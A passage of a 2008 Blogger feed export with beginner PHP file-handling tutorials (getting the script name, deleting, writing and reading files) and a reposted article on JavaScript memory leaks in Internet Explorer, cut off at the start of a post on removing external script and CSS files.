the string by using delimiter “/” .&lt;br /&gt;&lt;br /&gt;As the output of this explode command is an array then we will collect the last element of this array to get our file name. Here the index of last element of the array is total element of the array minus one, because the index of the elements start from 0 ( not from one ). So index of the last element of the array = total number of elements – 1&lt;br /&gt;&lt;br /&gt;Here is the code to get the last element of the array with the explode command to get the array.&lt;br /&gt;&lt;br /&gt;$break = Explode('/', $file);&lt;br /&gt;$pfile = $break[count($break) - 1];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here $pfile is the variable which will have the value of present file name.&lt;br /&gt;&lt;br /&gt;We can use $pfile in different application where current file name is required .&lt;br /&gt;&lt;br /&gt;Here is the complete code.&lt;br /&gt;&lt;br /&gt;$file = $_SERVER["SCRIPT_NAME"];&lt;br /&gt;$break = Explode('/', $file);&lt;br /&gt;$pfile = $break[count($break) - 1];&lt;br /&gt;&lt;br /&gt;echo $pfile;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/script-self.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2097001120424124906?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2097001120424124906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2097001120424124906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2097001120424124906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2097001120424124906'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/how-to-get-file-name-of-current-loaded.html' title='How to get the file name of the current loaded script using PHP ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7126156612608016277</id><published>2008-10-29T04:45:00.000-07:00</published><updated>2008-10-29T04:46:21.972-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How to delete all the files in a directory using PHP ?</title><content type='html'>We have seen how a file can be deleted by using unlink function in PHP. The same function can be used along with directory handler to list and delete all the files present inside. We have discussed how to display all the files present inside a directory. Now let us try to develop a function and to this function we will post directory name as parameter and the function will use unlink command to remove files by looping through all the files of the directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Here is the code to this.&lt;br /&gt;&lt;br /&gt;function EmptyDir($dir) {&lt;br /&gt;$handle=opendir($dir);&lt;br /&gt;&lt;br /&gt;while (($file = readdir($handle))!==false) {&lt;br /&gt;echo "$file&lt;br /&gt;";&lt;br /&gt;@unlink($dir.'/'.$file);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;closedir($handle);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;EmptyDir('images');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here images is the directory name we want to empty&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/php-files-delete.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7126156612608016277?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7126156612608016277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7126156612608016277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7126156612608016277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7126156612608016277'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/how-to-delete-all-files-in-directory.html' title='How to delete all the files in a directory using PHP ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5699834459448605296</id><published>2008-10-29T04:42:00.000-07:00</published><updated>2008-10-29T04:44:16.388-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How to delete a file using PHP ?</title><content type='html'>We can delete files by giving its URL or path in PHP by using unlink command. This command will work only if write permission is given to the folder or file. Without this the delete command will fail. Here is the command to delete the file.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;unlink($path);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here $path is the relative path of the file calculated from the script execution. Here is an example of deleting file by using relative path&lt;br /&gt;&lt;br /&gt;$path="images/all11.css";&lt;br /&gt;if(unlink($path)) echo "Deleted file ";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We have used if condition to check whether the file delete command is successful or not. But the command below will not work.&lt;br /&gt;&lt;br /&gt;$path="http://domainname/file/red.jpg";&lt;br /&gt;if(unlink($path)) echo "Deleted file ";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The warning message will say unlink() [function.unlink]: HTTP does not allow unlinking&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/php-file-delete.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5699834459448605296?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5699834459448605296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5699834459448605296' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5699834459448605296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5699834459448605296'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/how-to-delete-file-using-php.html' title='How to delete a file using PHP ?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-702903140787243060</id><published>2008-10-29T04:41:00.000-07:00</published><updated>2008-10-29T04:42:36.931-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How to write to a file using PHP</title><content type='html'>We can write to a file by using fwrite() function PHP. Please note that we have to open the file in write mode and if write permission is there then only we can open it in write mode. If the file does not exist then one new file will be created. We can change the permission of the file also. You can read the content of a file by using fopen() function in PHP. This is the way to write entries to a guestbook, counter and many other scripts if you are not using any database for storing data. . Here we will see how to write to a file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&amp;lt;?&lt;br /&gt;$body_content="This is my content"; // Store some text to enter inside the file&lt;br /&gt;$file_name="test_file.txt";               // file name&lt;br /&gt;$fp = fopen ($file_name, "w"); &lt;br /&gt;// Open the file in write mode, if file does not exist then it will be created.&lt;br /&gt;fwrite ($fp,$body_content);          // entering data to the file&lt;br /&gt;fclose ($fp);                                // closing the file pointer&lt;br /&gt;chmod($file_name,0777);           // changing the file permission.&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-702903140787243060?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/702903140787243060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=702903140787243060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/702903140787243060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/702903140787243060'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/how-to-write-to-file-using-php.html' title='How to write to a file using PHP'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-3802113859533810835</id><published>2008-10-29T04:39:00.000-07:00</published><updated>2008-10-29T04:41:14.585-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP File open to read internal file</title><content type='html'>WE can open a file or a URL to read by using fopen() function of PHP. While opening we can  give mode of file open ( read, write.. etc ). By using fopen we can read any external url also. We can write to a file by using fwrite function. Let us start with reading one internal file ( of the same site ). We have a file name as delete.htm. We will use the command fopen() to open the file in read mode.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;We will be using fread() function to read the content by using a file pointer. Fread() reads up to lengthbytes from the file pointer referenced  by fd. Reading stops when length bytes have been read or EOF is reached, whichever comes first.&lt;br /&gt;&lt;br /&gt;We have also used the function filesize() to know the size of the file and used it in the fread function.&lt;br /&gt;We will be using all these functions to read the content of another file and print the content as out put. Here is the code.&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;$filename = "delete.htm"; // This is at root of the file using this script.&lt;br /&gt;$fd = fopen ($filename, "r"); // opening the file in read mode&lt;br /&gt;$contents = fread ($fd, filesize($filename)); // reading the content of the file&lt;br /&gt;fclose ($fd);               // Closing the file pointer&lt;br /&gt;echo $contents;              // printing the file content of the file&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.plus2net.com/php_tutorial/php_file_open.php"&gt;Article Source&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-3802113859533810835?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/3802113859533810835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=3802113859533810835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3802113859533810835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3802113859533810835'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/php-file-open-to-read-internal-file.html' title='PHP File open to read internal file'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8417719309491127682</id><published>2008-10-29T04:13:00.000-07:00</published><updated>2008-10-29T04:33:50.379-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><title type='text'>JavaScript and memory leaks</title><content type='html'>Credits: This tutorial is written by Volkan. He runs the site Sarmal.com, a bilingual site featuring all his work, products, services, and up-to-date profile information in English and Turkish.&lt;br /&gt;&lt;br /&gt;If you are developing client-side re-usable scripting objects, sooner or later you will find yourself spotting out memory leaks. Chances are that your browser will suck memory like a sponge and you will hardly be able to find a reason why your lovely DHTML navigation's responsiveness decreases severely after visiting a couple of pages within your site.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;A Microsoft developer Justing Rogers has described IE leak patterns in his excellent article.&lt;br /&gt;&lt;br /&gt;In this article, we will review those patterns from a slightly different perspective and support it with diagrams and memory utilization graphs. We will also introduce several subtler leak scenarios. Before we begin, I strongly recommend you to read that article if you have not already read.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Why does the memory leak?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The problem of memory leakage is not just limited to Internet Explorer.  Almost any browser (including but not limited to Mozilla, Netscape and Opera) will leak memory if you provide adequate conditions (and it is not that hard to do so, as we will see shortly). But (in my humble opinion, ymmv etc.) Internet Explorer is the king of leakers.&lt;br /&gt;&lt;br /&gt;Don't get me wrong. I do not belong to the crowd yelling "Hey IE has memory leaks, checkout this new tool [link-to-tool] and see for yourself". Let us discuss how crappy Internet Explorer is and cover up all the flaws in other browsers".&lt;br /&gt;&lt;br /&gt;Each browser has its own strengths and weaknesses. For instance, Mozilla consumes too much of memory at initial boot, it is not good in string and array operations; Opera may crash if you write a ridiculously complex DHTML script which confuses its rendering engine.&lt;br /&gt;&lt;br /&gt;Although we will be focusing on the memory leaking situations in Internet Explorer, this discussion is equally applicable to other browsers.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A simple beginning&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;[Exhibit 1 - Memory leaking insert due to inline script]&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function LeakMemory(){&lt;br /&gt;var parentDiv =&lt;br /&gt;    document.createElement("&amp;lt;div onclick='foo()'&amp;gt;");&lt;br /&gt;&lt;br /&gt;parentDiv.bigString = new Array(1000).join(&lt;br /&gt;                     new Array(2000).join("XXXXX"));&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The first assignment  parentDiv=document.createElement(...); will create a div element and create a temporary scope for it where the scripting object resides. The second assignment  parentDiv.bigString=... attaches a large object to parentDiv. When LeakMemory() method is called, a DOM element will be created within the scope of this function, a very large object will be attached to it as a member property and the DOM element will be de-allocated and removed from memory as soon as the function exits, since it is an object created within the local scope of the function.&lt;br /&gt;&lt;br /&gt;When you run the example and click the button a few times, your memory graph will probably look like this:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VHplZu23whg/SQhF_zDSOLI/AAAAAAAAHas/E9C2H8MyBdE/s1600-h/Exhibit1.gif"&gt;&lt;img style="cursor: pointer; width: 320px; height: 294px;" src="http://4.bp.blogspot.com/_VHplZu23whg/SQhF_zDSOLI/AAAAAAAAHas/E9C2H8MyBdE/s320/Exhibit1.gif" alt="" id="BLOGGER_PHOTO_ID_5262533126920485042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;h4&gt;Increasing the frequency&lt;/h4&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;No visible leak huh? What if we do this a few hundred times instead of twenty, or a few thousand times? Will it be the same? The following code calls the assignment over and over again to accomplish this goal:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[Exhibit 2 - Memory leaking insert (frequency increased) ]&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function LeakMemory(){&lt;br /&gt;for(i = 0; i &amp;lt; 5000; i++){&lt;br /&gt;    var parentDiv =&lt;br /&gt;       document.createElement("&amp;lt;div onClick='foo()'&amp;gt;");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;And here follows the corresponding graph:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VHplZu23whg/SQhGqOe1d3I/AAAAAAAAHa0/GEoDwenk5cg/s1600-h/Exhibit2.gif"&gt;&lt;img style="cursor: pointer; width: 320px; height: 294px;" src="http://4.bp.blogspot.com/_VHplZu23whg/SQhGqOe1d3I/AAAAAAAAHa0/GEoDwenk5cg/s320/Exhibit2.gif" alt="" id="BLOGGER_PHOTO_ID_5262533855838304114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The ramp in the memory usage indicates leak in memory. The horizontal line (the last 20 seconds) at the end of the ramp is the memory after refreshing the page and loading another (about:blank) page. This shows that the leak is an actual leak and not a pseudo leak. The memory will not be reclaimed unless the browser window and other dependant windows if any are closed.&lt;br /&gt;&lt;br /&gt;Assume you have a dozen pages that have similar leakage graph. After a few hours, you may want to restart your browser (or even your PC) because it just stops responding. The naughty browser is eating up all your resources. However, this is an extreme case because Windows will increase the virtual memory size as soon as your memory consumption reaches a certain level.&lt;br /&gt;&lt;br /&gt;This is not a pretty scenario. Your client/boss will not be very happy, if they discover such a situation in the middle of a product showcase/training/demo.&lt;br /&gt;&lt;br /&gt;A careful eye may have caught that there is no bigString in the second example. This means that the leak is merely because of the internal scripting object (i.e. the anonymous script onclick='foo()'). This script was not deallocated properly. This caused memory leak at each iteration. To prove our thesis let us run a slightly different test case:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[Exhibit 3 - Leak test without inline script attached]&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function LeakMemory(){&lt;br /&gt;   for(i = 0; i &amp;lt; 50000; i++){&lt;br /&gt;       var parentDiv =&lt;br /&gt;       document.createElement("div");&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;  value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And here follows the corresponding memory graph:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VHplZu23whg/SQhHW8ak5LI/AAAAAAAAHa8/SEuolINNVOw/s1600-h/Exhibit3.gif"&gt;&lt;img style="cursor: pointer; width: 320px; height: 294px;" src="http://2.bp.blogspot.com/_VHplZu23whg/SQhHW8ak5LI/AAAAAAAAHa8/SEuolINNVOw/s320/Exhibit3.gif" alt="" id="BLOGGER_PHOTO_ID_5262534624082715826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;JavaScript and memory leaks&lt;br /&gt;&lt;br /&gt;Credits: This tutorial is written by Volkan. He runs the site Sarmal.com, a bilingual site featuring all his work, products, services, and up-to-date profile information in English and Turkish.&lt;br /&gt;&lt;br /&gt;If you are developing client-side re-usable scripting objects, sooner or later you will find yourself spotting out memory leaks. Chances are that your browser will suck memory like a sponge and you will hardly be able to find a reason why your lovely DHTML navigation's responsiveness decreases severely after visiting a couple of pages within your site.&lt;br /&gt;&lt;br /&gt;A Microsoft developer Justing Rogers has described IE leak patterns in his excellent article.&lt;br /&gt;&lt;br /&gt;In this article, we will review those patterns from a slightly different perspective and support it with diagrams and memory utilization graphs. We will also introduce several subtler leak scenarios. Before we begin, I strongly recommend you to read that article if you have not already read.&lt;br /&gt;Why does the memory leak?&lt;br /&gt;&lt;br /&gt;The problem of memory leakage is not just limited to Internet Explorer. Almost any browser (including but not limited to Mozilla, Netscape and Opera) will leak memory if you provide adequate conditions (and it is not that hard to do so, as we will see shortly). But (in my humble opinion, ymmv etc.) Internet Explorer is the king of leakers.&lt;br /&gt;&lt;br /&gt;Don't get me wrong. I do not belong to the crowd yelling "Hey IE has memory leaks, checkout this new tool [link-to-tool] and see for yourself". Let us discuss how crappy Internet Explorer is and cover up all the flaws in other browsers".&lt;br /&gt;&lt;br /&gt;Each browser has its own strengths and weaknesses. For instance, Mozilla consumes too much of memory at initial boot, it is not good in string and array operations; Opera may crash if you write a ridiculously complex DHTML script which confuses its rendering engine.&lt;br /&gt;&lt;br /&gt;Although we will be focusing on the memory leaking situations in Internet Explorer, this discussion is equally applicable to other browsers.&lt;br /&gt;A simple beginning&lt;br /&gt;&lt;br /&gt;Let us begin with a simple example:&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt; function LeakMemory(){&lt;br /&gt;     var parentDiv =&lt;br /&gt;          document.createElement("&amp;lt;div onclick='foo()'&amp;gt;");&lt;br /&gt;&lt;br /&gt;     parentDiv.bigString = new Array(1000).join(&lt;br /&gt;                           new Array(2000).join("XXXXX"));&lt;br /&gt; }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;    value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;The first assignment parentDiv=document.createElement(...); will create a div element and create a temporary scope for it where the scripting object resides. The second assignment parentDiv.bigString=... attaches a large object to parentDiv. When LeakMemory() method is called, a DOM element will be created within the scope of this function, a very large object will be attached to it as a member property and the DOM element will be de-allocated and removed from memory as soon as the function exits, since it is an object created within the local scope of the function.&lt;br /&gt;&lt;br /&gt;When you run the example and click the button a few times, your memory graph will probably look like this:&lt;br /&gt;&lt;br /&gt;Increasing the frequency&lt;br /&gt;&lt;br /&gt;No visible leak huh? What if we do this a few hundred times instead of twenty, or a few thousand times? Will it be the same? The following code calls the assignment over and over again to accomplish this goal:&lt;br /&gt;&lt;br /&gt;[Exhibit 2 - Memory leaking insert (frequency increased) ]&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt; function LeakMemory(){&lt;br /&gt;     for(i = 0; i &amp;lt; 5000; i++){&lt;br /&gt;         var parentDiv =&lt;br /&gt;            document.createElement("&amp;lt;div onClick='foo()'&amp;gt;");&lt;br /&gt;     }&lt;br /&gt; }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;    value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And here follows the corresponding graph:&lt;br /&gt;&lt;br /&gt;The ramp in the memory usage indicates leak in memory. The horizontal line (the last 20 seconds) at the end of the ramp is the memory after refreshing the page and loading another (about:blank) page. This shows that the leak is an actual leak and not a pseudo leak. The memory will not be reclaimed unless the browser window and other dependant windows if any are closed.&lt;br /&gt;&lt;br /&gt;Assume you have a dozen pages that have similar leakage graph. After a few hours, you may want to restart your browser (or even your PC) because it just stops responding. The naughty browser is eating up all your resources. However, this is an extreme case because Windows will increase the virtual memory size as soon as your memory consumption reaches a certain level.&lt;br /&gt;&lt;br /&gt;This is not a pretty scenario. Your client/boss will not be very happy, if they discover such a situation in the middle of a product showcase/training/demo.&lt;br /&gt;&lt;br /&gt;A careful eye may have caught that there is no bigString in the second example. This means that the leak is merely because of the internal scripting object (i.e. the anonymous script onclick='foo()'). This script was not deallocated properly. This caused memory leak at each iteration. To prove our thesis let us run a slightly different test case:&lt;br /&gt;&lt;br /&gt;[Exhibit 3 - Leak test without inline script attached]&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt; function LeakMemory(){&lt;br /&gt;     for(i = 0; i &amp;lt; 50000; i++){&lt;br /&gt;         var parentDiv =&lt;br /&gt;         document.createElement("div");&lt;br /&gt;     }&lt;br /&gt; }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;input type="button"&lt;br /&gt;    value="Memory Leaking Insert" onclick="LeakMemory()" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And here follows the corresponding memory graph:&lt;br /&gt;&lt;br /&gt;As you can see, we have done fifty thousand iterations instead of 5000, and still the memory usage is flat (i.e. no leaks). The slight ramp is due to some other process in my PC.&lt;br /&gt;&lt;br /&gt;Let us change our code in a more standard and somewhat unobtrusive manner (not the correct term here, but can't find a better one) without embedded inline scripts and re-test it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.javascriptkit.com/javatutors/closuresleak/index.shtml"&gt;Article Source&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8417719309491127682?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8417719309491127682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8417719309491127682' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8417719309491127682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8417719309491127682'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/10/javascript-and-memory-leaks.html' title='JavaScript and memory leaks'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VHplZu23whg/SQhF_zDSOLI/AAAAAAAAHas/E9C2H8MyBdE/s72-c/Exhibit1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-880293579534107079</id><published>2008-10-29T04:09:00.000-07:00</published><updated>2008-10-29T04:12:48.021-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Dynamically removing/ replacing an external JavaScript or CSS file</title><content type='html'>Any external JavaScript&lt;br /&gt;or CSS file, whether added manually or dynamically, can be removed from the page. The end result may not be fully what you had in mind, however. I'll talk about this a little later.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dynamically removing an external JavaScript&lt;br /&gt;or CSS file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To remove an external JavaScript or CSS file from a page, the key is to hunt them down first by traversing the DOM, then call DOM's  removeChild() method to do the hit job. A generic approach is to identify an external file to remove based on its file name, though there are certainly other approaches, such as by CSS class name. With that in mind, the below function removes any external JavaScript or CSS file based on the file name entered:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;function removejscssfile(filename, filetype){&lt;br /&gt; var targetelement=(filetype=="js")? "script" : (filetype=="css")? "link" : "none" //determine element type to create nodelist from&lt;br /&gt; var 